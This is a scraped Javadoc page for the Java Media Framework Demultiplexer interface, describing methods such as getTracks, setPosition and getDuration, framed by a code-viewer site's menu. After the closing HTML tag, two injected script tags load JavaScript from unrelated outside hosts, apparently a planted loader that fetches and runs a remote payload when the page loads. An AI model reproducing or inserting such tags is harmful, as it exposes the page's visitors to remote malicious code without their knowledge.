📄 demultiplexer.html
字号:
<TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../javax/media/MediaHandler.html#setSource(javax.media.protocol.DataSource)">setSource</A></CODE></TD></TR></TABLE> <A NAME="methods_inherited_from_class_javax.media.Controls"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from interface javax.media.<A HREF="../../javax/media/Controls.html">Controls</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../javax/media/Controls.html#getControl(java.lang.String)">getControl</A>, <A HREF="../../javax/media/Controls.html#getControls()">getControls</A></CODE></TD></TR></TABLE> <P><!-- ============ FIELD DETAIL =========== --><!-- ========= CONSTRUCTOR DETAIL ======== --><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getSupportedInputContentDescriptors()"><!-- --></A><H3>getSupportedInputContentDescriptors</H3><PRE>public <A HREF="../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A>[] <B>getSupportedInputContentDescriptors</B>()</PRE><DL><DD>Lists the all of the input content descriptors that this <CODE>Demultiplexer</CODE> supports.<DD><DL></DL></DD></DL><HR><A NAME="start()"><!-- --></A><H3>start</H3><PRE>public void <B>start</B>() throws java.io.IOException</PRE><DL><DD>Signals that data is going to start being read from the <CODE>Demultiplexer</CODE>. The <CODE>start</CODE> method is called before any calls are made to <code>readFrame</code>.<DD><DL></DL></DD><DD><DL><DT><B>Throws:</B><DD>java.io.IOException - If there is an error when trying to read from the <code>DataSource</code>.</DL></DD></DL><HR><A NAME="stop()"><!-- --></A><H3>stop</H3><PRE>public void <B>stop</B>()</PRE><DL><DD>Signals that data is going to stop being read from the <CODE>Demultiplexer</CODE>. After the <CODE>stop</CODE> method is called, <code>readFrame</code> will not be called again unless <code>start</code> is called first.<DD><DL></DL></DD></DL><HR><A NAME="getTracks()"><!-- --></A><H3>getTracks</H3><PRE>public <A HREF="../../javax/media/Track.html">Track</A>[] <B>getTracks</B>() throws java.io.IOException, <A HREF="../../javax/media/BadHeaderException.html">BadHeaderException</A></PRE><DL><DD><p> Retrieves the individual tracks that the media stream contains. A stream can contain multiple media tracks, such as separate tracks for audio, video, and midi data. The information specific to a track is abstracted by an instance of a class that implements the <code>Track</code> interface. The <code>Track</code> interface also provides methods for enabling or disabling a track. <p> When <CODE>getTracks</CODE> is called, the stream header is read and parsed (if there is one), the track information is retrieved, the maximum frame size for each track is computed, and the play list is built (if applicable).<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>An array of <code>Track</code> objects. The length of the array is equal to the number of tracks in the stream.<DT><B>Throws:</B><DD><A HREF="../../javax/media/BadHeaderException.html">BadHeaderException</A> - If the header information is incomplete or inconsistent.<DD>java.io.IOException - If there is an error when trying to read from the <code>DataSource</code>.</DL></DD></DL><HR><A NAME="isPositionable()"><!-- --></A><H3>isPositionable</H3><PRE>public boolean <B>isPositionable</B>()</PRE><DL><DD>Checks whether or not the stream can be repositioned to the beginning.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD><CODE>true</CODE> if the stream can be repositioned, <CODE>false</CODE> if it cannot.</DL></DD></DL><HR><A NAME="isRandomAccess()"><!-- --></A><H3>isRandomAccess</H3><PRE>public boolean <B>isRandomAccess</B>()</PRE><DL><DD>Checks whether or not the stream can be positioned at any <CODE>Time</CODE>. If <CODE>isRandomAccess</CODE> returns <CODE>true</CODE>, then the stream is also positionable (<CODE>isPositionable</CODE> returns <CODE>true</CODE>). However, a stream can be positionable but not random access--the <CODE>isPositionable</CODE> method might return <CODE>true</CODE> even if <CODE>isRandomAccess</CODE> returns <CODE>false</CODE>.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD><CODE>true</CODE> if the stream is a random access stream, <CODE>false</CODE> if it is not.</DL></DD></DL><HR><A NAME="setPosition(javax.media.Time, int)"><!-- --></A><H3>setPosition</H3><PRE>public <A HREF="../../javax/media/Time.html">Time</A> <B>setPosition</B>(<A HREF="../../javax/media/Time.html">Time</A> where, int rounding)</PRE><DL><DD>Sets the stream position (media time) to the specified <CODE>Time</CODE>. Returns the rounded position that was actually set. Implementations should set the position to a key frame, if possible.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>time</CODE> - The new stream position, specified as a <CODE>Time</CODE>.<DD><CODE>round</CODE> - The rounding technique to be used: <CODE>RoundUp</CODE>, <CODE>RoundDown</CODE>, or <CODE>RoundNearest</CODE>.<DT><B>Returns:</B><DD>The actual stream position that was set as a <CODE>Time</CODE> object.</DL></DD></DL><HR><A NAME="getMediaTime()"><!-- --></A><H3>getMediaTime</H3><PRE>public <A HREF="../../javax/media/Time.html">Time</A> <B>getMediaTime</B>()</PRE><DL><DD>Gets the current media time. This is the stream position that the next <CODE>readFrame</CODE> will read.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>The current position in the media stream as a <CODE>Time</CODE> object.</DL></DD></DL><HR><A NAME="getDuration()"><!-- --></A><H3>getDuration</H3><PRE>public <A HREF="../../javax/media/Time.html">Time</A> <B>getDuration</B>()</PRE><DL><DD>Gets the duration of this media stream when played at the default rate. <p> Note that each track can have a different duration and a different start time. This method returns the total duration from when the first track starts and the last track ends.<DD><DL><DT><B>Specified by: </B><DD><A HREF="../../javax/media/Duration.html#getDuration()">getDuration</A> in interface <A HREF="../../javax/media/Duration.html">Duration</A></DL></DD><DD><DL><DT><B>Returns:</B><DD>A <CODE>Time</CODE> object that represents the duration or <CODE>DURATION_UNKNOWN</CODE> if the duration cannot be determined.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../javax/media/DataSinkProxy.html"><B>PREV CLASS</B></A> <A HREF="../../javax/media/DownloadProgressListener.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="Demultiplexer.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1"> <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a> <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road, Palo Alto, California, 94303, U.S.A. All Rights Reserved. See the <a href="spec-license.html">Specification License</a> for more details. <br>Sun, Sun Microsystems, and Java are trademarks or registered trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -